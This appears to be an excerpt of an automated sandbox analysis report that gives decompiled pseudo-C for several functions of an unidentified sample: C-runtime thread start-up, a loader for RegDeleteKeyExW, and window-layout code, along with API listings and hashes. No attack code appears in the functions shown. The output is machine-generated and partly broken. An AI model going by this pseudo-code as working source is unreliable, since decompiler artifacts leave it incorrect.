                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579b
                                                                                                                                                                            0x004157a1
                                                                                                                                                                            0x004157a4
                                                                                                                                                                            0x004157a9
                                                                                                                                                                            0x004157ae
                                                                                                                                                                            0x004157af
                                                                                                                                                                            0x00415750
                                                                                                                                                                            0x00415755
                                                                                                                                                                            0x00415758
                                                                                                                                                                            0x00415759
                                                                                                                                                                            0x0041576f
                                                                                                                                                                            0x00415773
                                                                                                                                                                            0x0041577c
                                                                                                                                                                            0x0041577e
                                                                                                                                                                            0x00415781
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415791
                                                                                                                                                                            0x00415797
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415785
                                                                                                                                                                            0x0041578c
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x004157b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x0041571b
                                                                                                                                                                            0x0041571c
                                                                                                                                                                            0x0041571d
                                                                                                                                                                            0x0041571e
                                                                                                                                                                            0x0041571f
                                                                                                                                                                            0x00415720
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x004157ba

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(?,00416C10,?,004114D4,?,00000000,00000001), ref: 00416A8D
                                                                                                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,004114D4,?,00000000,00000001), ref: 00416AAE
                                                                                                                                                                            • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                            • RtlExitUserThread.NTDLL(00000000), ref: 004156BD
                                                                                                                                                                            • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThreadUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3429761990-0
                                                                                                                                                                            • Opcode ID: 68f8895410578a6558ff0b3d5985a9e6c93f505c3c296d3eff7805ab3ee2bdad
                                                                                                                                                                            • Instruction ID: 437946ba33081a53f8e8a37eff8b1c0e9594209f2053f9d7bb117d63c1528b40
                                                                                                                                                                            • Opcode Fuzzy Hash: 68f8895410578a6558ff0b3d5985a9e6c93f505c3c296d3eff7805ab3ee2bdad
                                                                                                                                                                            • Instruction Fuzzy Hash: 88016274500705ABD704BFB2DD199DE7B69AF84349B21C86FB90897222DA3DC9C1CB9C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 66%
                                                                                                                                                                            			E0041568B(void* __ebx, void* __edi, void* __esi, long _a4, intOrPtr _a8) {
				void* _v4;
				void* _v12;
				struct _SECURITY_ATTRIBUTES* _v16;
				void* __ebp;
				long _t22;
				signed int _t27;
				signed int _t28;
				intOrPtr* _t35;
				void* _t37;
				void* _t40;
				void* _t42;
				long _t45;
				void* _t55;
				void* _t56;
				void* _t58;
				void* _t59;

				_t58 = __esi;
				_t55 = __edi;
				_t42 = __ebx;
				E00416A84();
				_t22 = E00416A64(E00416A7E());
				if(_t22 != 0) {
					L3:
					_t45 = _a4;
					 *((intOrPtr*)(_t22 + 0x54)) =  *((intOrPtr*)(_t45 + 0x54));
					 *((intOrPtr*)(_t22 + 0x58)) =  *((intOrPtr*)(_t45 + 0x58));
					_t52 =  *((intOrPtr*)(_t45 + 4));
					_push(_t45);
					 *((intOrPtr*)(_t22 + 4)) =  *((intOrPtr*)(_t45 + 4));
					E00416C8C(_t42,  *((intOrPtr*)(_t45 + 4)), _t55, _t58, _t66);
				} else {
					_t40 = E00416AB8(E00416A7E(), _a4);
					_t66 = _t40;
					if(_t40 == 0) {
						_push(GetLastError());
						_t22 = RtlExitUserThread();
						goto L3;
					}
				}
				_t67 =  *0x48322c;
				if( *0x48322c != 0) {
					_t37 = E00418540(_t67, 0x48322c);
					_pop(_t45);
					_t68 = _t37;
					if(_t37 != 0) {
						 *0x48322c();
					}
				}
				E0041564A(_t55, _t58, _t68);
				asm("int3");
				_push(_t45);
				_push(_t42);
				_push(_t55);
				_t56 = _v4;
				_v16 = 0;
				_t69 = _t56;
				if(_t56 != 0) {
					_push(_t58);
					E00416A84();
					_t59 = E00416FFB(1, 0x214);
					__eflags = _t59;
					if(__eflags == 0) {
						L14:
						_push(_t59);
						_t27 = E00413A88(0, _t52, _t56, _t59, __eflags);
						__eflags = _v12;
						if(_v12 != 0) {
							_t27 = E00417F49(_v12);
						}
						_t28 = _t27 | 0xffffffff;
					} else {
						_push( *((intOrPtr*)(E00416C72(0, _t56, __eflags) + 0x6c)));
						_push(_t59);
						E00416B12(0, _t52, _t56, _t59, __eflags);
						 *(_t59 + 0x54) = _t56;
						 *((intOrPtr*)(_t59 + 0x58)) = _a8;
						_t56 = CreateThread(0, _a4, E0041568B, _t59, 4, _t59);
						 *(_t59 + 4) = _t56;
						__eflags = _t56;
						if(__eflags == 0) {
							L13:
							_v12 = GetLastError();
							goto L14;
						} else {
							__eflags = ResumeThread(_t56) - 0xffffffff;
							if(__eflags != 0) {
								_t28 = _t56;
							} else {
								goto L13;
							}
						}
					}
				} else {
					_t35 = E00417F23(_t69);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t35 = 0x16;
					_t28 = E00417EBB(_t52, _t56, _t58) | 0xffffffff;
				}
				return _t28;
			}



















                                                                                                                                                                            0x0041568b
                                                                                                                                                                            0x0041568b
                                                                                                                                                                            0x0041568b
                                                                                                                                                                            0x00415690
                                                                                                                                                                            0x0041569b
                                                                                                                                                                            0x004156a2
                                                                                                                                                                            0x004156c3
                                                                                                                                                                            0x004156c3
                                                                                                                                                                            0x004156c9
                                                                                                                                                                            0x004156cf
                                                                                                                                                                            0x004156d2
                                                                                                                                                                            0x004156d5
                                                                                                                                                                            0x004156d6
                                                                                                                                                                            0x004156d9
                                                                                                                                                                            0x004156a4
                                                                                                                                                                            0x004156ad
                                                                                                                                                                            0x004156b2
                                                                                                                                                                            0x004156b4
                                                                                                                                                                            0x004156bc
                                                                                                                                                                            0x004156bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004156bd
                                                                                                                                                                            0x004156b4
                                                                                                                                                                            0x004156de
                                                                                                                                                                            0x004156e5
                                                                                                                                                                            0x004156ec
                                                                                                                                                                            0x004156f1
                                                                                                                                                                            0x004156f2
                                                                                                                                                                            0x004156f4
                                                                                                                                                                            0x004156f6
                                                                                                                                                                            0x004156f6
                                                                                                                                                                            0x004156f4
                                                                                                                                                                            0x004156fc
                                                                                                                                                                            0x00415701
                                                                                                                                                                            0x00415707
                                                                                                                                                                            0x00415708
                                                                                                                                                                            0x00415709
                                                                                                                                                                            0x0041570a
                                                                                                                                                                            0x0041570f
                                                                                                                                                                            0x00415712
                                                                                                                                                                            0x00415714
                                                                                                                                                                            0x00415736
                                                                                                                                                                            0x00415737
                                                                                                                                                                            0x00415748
                                                                                                                                                                            0x0041574c
                                                                                                                                                                            0x0041574e
                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579b
                                                                                                                                                                            0x004157a1
                                                                                                                                                                            0x004157a4
                                                                                                                                                                            0x004157a9
                                                                                                                                                                            0x004157ae
                                                                                                                                                                            0x004157af
                                                                                                                                                                            0x00415750
                                                                                                                                                                            0x00415755
                                                                                                                                                                            0x00415758
                                                                                                                                                                            0x00415759
                                                                                                                                                                            0x0041576f
                                                                                                                                                                            0x00415773
                                                                                                                                                                            0x0041577c
                                                                                                                                                                            0x0041577e
                                                                                                                                                                            0x00415781
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415791
                                                                                                                                                                            0x00415797
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415785
                                                                                                                                                                            0x0041578c
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x004157b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x0041571b
                                                                                                                                                                            0x0041571c
                                                                                                                                                                            0x0041571d
                                                                                                                                                                            0x0041571e
                                                                                                                                                                            0x0041571f
                                                                                                                                                                            0x00415720
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x004157ba

                                                                                                                                                                            APIs
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(?,00416C10,?,004114D4,?,00000000,00000001), ref: 00416A8D
                                                                                                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,004114D4,?,00000000,00000001), ref: 00416AAE
                                                                                                                                                                            • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                            • RtlExitUserThread.NTDLL(00000000), ref: 004156BD
                                                                                                                                                                            • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThreadUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 944295313-0
                                                                                                                                                                            • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                            • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                                            • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                            • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00434124(char _a4) {
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__** _t6;

				_t1 =  &_a4; // 0x442370
				_t6 =  *_t1;
				if(_t6[2] == 0) {
					_t4 = LoadLibraryA("advapi32.dll");
					 *_t6 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t4, "RegDeleteKeyExW");
						_t6[2] = _t5;
						return _t5;
					}
				}
				return _t4;
			}






                                                                                                                                                                            0x00434125
                                                                                                                                                                            0x00434125
                                                                                                                                                                            0x0043412d
                                                                                                                                                                            0x00434134
                                                                                                                                                                            0x0043413a
                                                                                                                                                                            0x0043413e
                                                                                                                                                                            0x00434146
                                                                                                                                                                            0x0043414c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043414c
                                                                                                                                                                            0x0043413e
                                                                                                                                                                            0x00434150

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                                            • API String ID: 2574300362-3261711971
                                                                                                                                                                            • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                            • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                                            • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                            • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 88%
                                                                                                                                                                            			E004336C7(signed int _a4, int _a8, signed int _a12) {
				struct tagRECT _v16;
				struct tagRECT _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _t154;
				signed int _t171;
				int _t173;
				signed int _t208;
				signed int _t209;
				signed int _t210;
				signed int _t212;
				struct HWND__* _t214;
				long _t216;
				struct HWND__* _t217;
				signed int _t219;
				signed int _t234;
				struct HWND__* _t235;
				signed int _t240;
				signed int _t242;
				struct HWND__* _t243;
				struct HWND__** _t255;
				struct HWND__* _t256;
				struct HWND__** _t265;
				struct HWND__* _t268;

				_t265 = _a8;
				_t255 = _a4;
				if(_t255[0xe] == 0) {
					_a8 = _t265[0x1f] & 0x0000ffff;
					GetClientRect( *_t255,  &_v16);
					_t154 = _v16.right;
					_t234 = _v16.bottom;
					_t214 = _t255[0x11];
					_t209 = _t255[0x12];
					_a12 = _t154;
					_v36 = _t234;
					_a4 = _t214;
					_v44 = _t209;
					if(_t154 == 0) {
						_a12 = 1;
						if(_t214 != 0) {
							_a12 = _t214;
						}
					}
					if(_t234 == 0) {
						_v36 = 1;
						if(_t209 != 0) {
							_v36 = _t209;
						}
					}
					if(_t255[0x64] != 0) {
						_t209 = _t209 - GetSystemMetrics(0xf);
						_v44 = _t209;
					}
					GetWindowRect( *_t265,  &_v16);
					_t235 = _v16.top;
					_t216 = _v16.left;
					_v32.top = _t235;
					_v40 = _v16.bottom - _t235;
					_t268 = _v16.right - _t216;
					_v32.left = _t216;
					ScreenToClient( *_t255,  &_v32);
					_t217 = _v32.left;
					asm("cdq");
					_t256 = _v32.top;
					_t265[0x20] = _t217 * _a4 / _a12;
					asm("cdq");
					_t210 = _v36;
					_t265[0x20] = _t256 * _t209 / _v36;
					asm("cdq");
					_t265[0x21] = _t268 * _a4 / _a12;
					_t171 = _v40 * _v44;
					asm("cdq");
					_t240 = _t171 % _t210;
					_t265[0x21] = _t171 / _t210;
					_t173 = _a8;
					if(_t173 == 0) {
						goto L48;
					} else {
						if((_t173 & 0x00000100) != 0) {
							_t265[0x21] = _t268;
							if((_t173 & 0x00000006) == 0) {
								if((_t173 & 0x00000008) == 0) {
									asm("cdq");
									if(_t217 > _a12 - _t240 >> 1) {
										_t211 = _a12;
										asm("cdq");
										_t210 = _v36;
										_t265[0x20] = (_t217 - _a12 + _t268) * _a4 / _t211 - _t268 + _a4;
									}
								} else {
									asm("cdq");
									_t265[0x20] = _t217 - (_a4 - _a12 - _t240 >> 1);
								}
								_t173 = _a8;
							}
						}
						if((_t173 & 0x00000200) != 0) {
							_t243 = _v40;
							_t265[0x21] = _t243;
							if((_t173 & 0x00000060) == 0) {
								if(_t173 >= 0) {
									asm("cdq");
									if(_t256 > _t210 - _t243 >> 1) {
										asm("cdq");
										_t265[0x20] = (_t256 - _t210 + _v40) * _v44 / _t210 - _v40 + _v44;
									}
								} else {
									asm("cdq");
									_t265[0x20] = _t256 - (_v44 - _t210 - _t243 >> 1);
								}
								_t173 = _a8;
							}
						}
						_t242 = _t173 & 0x00000002;
						if(_t242 != 0) {
							_t265[0x20] = _t217;
						}
						if((_t173 & 0x00000004) != 0) {
							if(_t242 == 0) {
								_t265[0x20] = _t217 - _a12 - _t265[0x21] + _a4 + _t268;
							} else {
								_t265[0x21] = _t217 - _t265[0x20] - _a12 + _a4 + _t268;
							}
						}
						_t219 = _t173 & 0x00000020;
						if(_t219 != 0) {
							_t265[0x20] = _t256;
						}
						if((_t173 & 0x00000040) == 0) {
							goto L48;
						} else {
							if(_t219 == 0) {
								_t265[0x20] = _t256 - _t265[0x21] - _t210 + _v44 + _v40;
								return _t173;
							}
							_t265[0x21] = _t256 - _t265[0x20] - _t210 + _v44 + _v40;
							return _t173;
						}
					}
				} else {
					_t265[0x20] = _t255[0x16];
					_t265[0x20] = _t255[0x17];
					if(_t265[0x22] != 7 || _a12 != 0) {
						_t265[0x21] = _t255[0x18];
						_t265[0x21] = _t255[0x19];
					}
					GetClientRect( *_t265,  &_v32);
					_t212 = _t208 | 0xffffffff;
					if(_t255[0x16] == _t212) {
						_t265[0x20] = _v32.left;
					}
					if(_t255[0x17] == _t212) {
						_t265[0x20] = _v32.top;
					}
					_t173 = GetWindowRect( *_t265,  &_v32);
					if(_t255[0x18] == _t212) {
						_t265[0x21] = _v32.right - _v32.left;
					}
					if(_t255[0x19] == _t212 || _t265[0x22] == 0) {
						_t265[0x21] = _v32.bottom - _v32.top;
						return _t173;
					} else {
						L48:
						return _t173;
					}
				}
			}




























                                                                                                                                                                            0x004336cd
                                                                                                                                                                            0x004336d2
                                                                                                                                                                            0x004336da
                                                                                                                                                                            0x004337a8
                                                                                                                                                                            0x004337ac
                                                                                                                                                                            0x004337b2
                                                                                                                                                                            0x004337b6
                                                                                                                                                                            0x004337ba
                                                                                                                                                                            0x004337bd
                                                                                                                                                                            0x004337c0
                                                                                                                                                                            0x004337c4
                                                                                                                                                                            0x004337c8
                                                                                                                                                                            0x004337cc
                                                                                                                                                                            0x004337d7
                                                                                                                                                                            0x004337d9
                                                                                                                                                                            0x004337df
                                                                                                                                                                            0x004337e1
                                                                                                                                                                            0x004337e1
                                                                                                                                                                            0x004337df
                                                                                                                                                                            0x004337e7
                                                                                                                                                                            0x004337e9
                                                                                                                                                                            0x004337ef
                                                                                                                                                                            0x004337f1
                                                                                                                                                                            0x004337f1
                                                                                                                                                                            0x004337ef
                                                                                                                                                                            0x004337fc
                                                                                                                                                                            0x00433806
                                                                                                                                                                            0x00433808
                                                                                                                                                                            0x00433808
                                                                                                                                                                            0x00433814
                                                                                                                                                                            0x0043381a
                                                                                                                                                                            0x00433822
                                                                                                                                                                            0x0043382c
                                                                                                                                                                            0x00433834
                                                                                                                                                                            0x0043383c
                                                                                                                                                                            0x0043383e
                                                                                                                                                                            0x00433842
                                                                                                                                                                            0x00433848
                                                                                                                                                                            0x00433853
                                                                                                                                                                            0x00433858
                                                                                                                                                                            0x0043385c
                                                                                                                                                                            0x00433868
                                                                                                                                                                            0x0043386d
                                                                                                                                                                            0x00433871
                                                                                                                                                                            0x0043387f
                                                                                                                                                                            0x00433884
                                                                                                                                                                            0x0043388f
                                                                                                                                                                            0x00433894
                                                                                                                                                                            0x00433895
                                                                                                                                                                            0x00433897
                                                                                                                                                                            0x0043389e
                                                                                                                                                                            0x004338a5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004338ab
                                                                                                                                                                            0x004338b0
                                                                                                                                                                            0x004338b2
                                                                                                                                                                            0x004338bb
                                                                                                                                                                            0x004338bf
                                                                                                                                                                            0x004338df
                                                                                                                                                                            0x004338e6
                                                                                                                                                                            0x004338e8
                                                                                                                                                                            0x004338f7
                                                                                                                                                                            0x004338fa
                                                                                                                                                                            0x00433904
                                                                                                                                                                            0x00433904
                                                                                                                                                                            0x004338c1
                                                                                                                                                                            0x004338c9
                                                                                                                                                                            0x004338d2
                                                                                                                                                                            0x004338d2
                                                                                                                                                                            0x0043390b
                                                                                                                                                                            0x0043390b
                                                                                                                                                                            0x004338bb
                                                                                                                                                                            0x00433914
                                                                                                                                                                            0x00433916
                                                                                                                                                                            0x0043391b
                                                                                                                                                                            0x00433924
                                                                                                                                                                            0x00433928
                                                                                                                                                                            0x00433944
                                                                                                                                                                            0x0043394b
                                                                                                                                                                            0x0043395a
                                                                                                                                                                            0x00433965
                                                                                                                                                                            0x00433965
                                                                                                                                                                            0x0043392a
                                                                                                                                                                            0x00433930
                                                                                                                                                                            0x00433939
                                                                                                                                                                            0x00433939
                                                                                                                                                                            0x0043396c
                                                                                                                                                                            0x0043396c
                                                                                                                                                                            0x00433924
                                                                                                                                                                            0x00433972
                                                                                                                                                                            0x00433975
                                                                                                                                                                            0x00433977
                                                                                                                                                                            0x00433977
                                                                                                                                                                            0x00433980
                                                                                                                                                                            0x00433985
                                                                                                                                                                            0x004339b7
                                                                                                                                                                            0x00433987
                                                                                                                                                                            0x0043399b
                                                                                                                                                                            0x0043399b
                                                                                                                                                                            0x00433985
                                                                                                                                                                            0x004339c0
                                                                                                                                                                            0x004339c3
                                                                                                                                                                            0x004339c5
                                                                                                                                                                            0x004339c5
                                                                                                                                                                            0x004339ce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004339d0
                                                                                                                                                                            0x004339d3
                                                                                                                                                                            0x00433a0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00433a0e
                                                                                                                                                                            0x004339e9
                                                                                                                                                                            0x004339f7
                                                                                                                                                                            0x004339f7
                                                                                                                                                                            0x004339ce
                                                                                                                                                                            0x004336e0
                                                                                                                                                                            0x004336eb
                                                                                                                                                                            0x004336f6
                                                                                                                                                                            0x004336fd
                                                                                                                                                                            0x0043370a
                                                                                                                                                                            0x00433715
                                                                                                                                                                            0x00433715
                                                                                                                                                                            0x00433724
                                                                                                                                                                            0x0043372a
                                                                                                                                                                            0x00433730
                                                                                                                                                                            0x00433737
                                                                                                                                                                            0x00433737
                                                                                                                                                                            0x00433741
                                                                                                                                                                            0x00433748
                                                                                                                                                                            0x00433748
                                                                                                                                                                            0x00433757
                                                                                                                                                                            0x00433760
                                                                                                                                                                            0x0043376a
                                                                                                                                                                            0x0043376a
                                                                                                                                                                            0x00433774
                                                                                                                                                                            0x0043378b
                                                                                                                                                                            0x00433799
                                                                                                                                                                            0x00433a1c
                                                                                                                                                                            0x00433a1c
                                                                                                                                                                            0x00433a1c
                                                                                                                                                                            0x00433a1c
                                                                                                                                                                            0x00433774

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                                            • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                                            • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                                            • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                                            • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3220332590-0
                                                                                                                                                                            • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                            • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                                            • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                            • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
